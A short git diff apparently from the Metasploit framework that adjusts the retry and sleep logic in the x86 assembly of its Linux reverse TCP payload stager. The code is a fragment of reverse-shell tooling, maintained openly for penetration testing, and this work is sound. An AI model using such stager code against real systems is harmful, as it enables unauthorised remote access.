diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 4e1e31b0e1..e2ee9815d5 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86 jns mprotect handle_failure: + dec esi + jz failed push 0xa2 pop eax push 0x#{sleep_nanoseconds.to_s(16)} @@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86 xor ecx, ecx int 0x80 ; sys_nanosleep test eax, eax - js failed - dec esi - jnz create_socket + jns create_socket jmp failed ^